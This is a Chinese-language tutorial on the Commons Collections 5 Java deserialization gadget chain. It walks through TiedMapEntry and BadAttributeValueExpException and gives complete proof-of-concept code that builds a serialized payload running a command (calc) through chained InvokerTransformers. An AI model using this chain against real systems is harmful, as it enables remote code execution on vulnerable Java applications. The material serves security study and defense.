Java反序列化-CC5
# 前言
不按顺序说CC2,CC3,CC4的原因是这是三条CC链用到的Java字节码以及使用javassist
这个工具类来构造恶意字节码文件,而CC5,CC6在yso中的命令构造方式仍然是一系列Transformers
的链式调用(当然这两条链也可以结合恶意字节码文件进行利用,但是本文讨论的是yso中的利用方式),和CC1的衔接更加紧密一些,所以之后说CC链的文章会打乱顺序:CC5->CC6->CC2->CC3->CC4->CC7。
# 利用点
环境配置
- jdk1.7
- maven依赖:commons-collections3.1
org.apache.commons.collections.keyvalue.TiedMapEntry
这个类的toString
的方法中调用了getValue
方法:
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
}
2
3
4
5
6
7
8
9
10
跟进getValue
方法进行查看:
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
2
3
4
5
6
7
8
这里调用了map的get
方法,还记得我们在CC1中说的LazyMap吗,如果getValue
方法中的map是一个被LazyMap装饰过的hashmap的话,那么调用TiedMapEntrt#toString
方法就会触发LazyMap#get
方法,从而触发回调,我们可以先写一个简单的poc:
package ysoserial.MyExp.Test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime",
null,
}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
null,
null,
}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
"calc"
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "key");
tiedMapEntry.toString();
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
上面的poc中的TiedMapEntry#toSting
是我们手动调用的,如果想要在反序列化中触发,就要找到某个类的readObject
方法中会调用TiedMapEntry#toSting
的逻辑,在yso中利用了javax.management.BadAttributeValueExpException;
这个类,我们可以读一下它的readObject
方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
有一行的内容是valObj.toSting()
,我们在往上追溯一下valObj的源头:
很明显,valObj就是从序列化数据流中获取的名称为val
的变量,那么在这个类中一定有一个对应的变量:
这个变量的类型是Object
,所以可以利用反射再将其修改成TiedMapEntry
类的一个对象,从而在反序列化中调用
TiedMapEntry#toSting
。
完整poc:
package ysoserial.MyExp.CCExp;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime",
null,
}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
null,
null,
}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
"calc"
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
// 本地测试
ByteArrayOutputStream byteArrayOutputStream = Serialize.serializeData(badAttributeValueExpException);
System.out.println(byteArrayOutputStream);
Serialize.unserializeData(byteArrayOutputStream);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 注意点
为什么要往BadAttributeValueExpException
的构造方法传入1
?
这里如果直接传入TiedMapEntry
类的对象的话会在构造方法处直接调用toString
,所以为了避免本地生成payload的时候触发命令,所以要先传入一个1(null,字符串都可以),随后再利用反射进行修改(val的修饰符是private)来避免这种情况。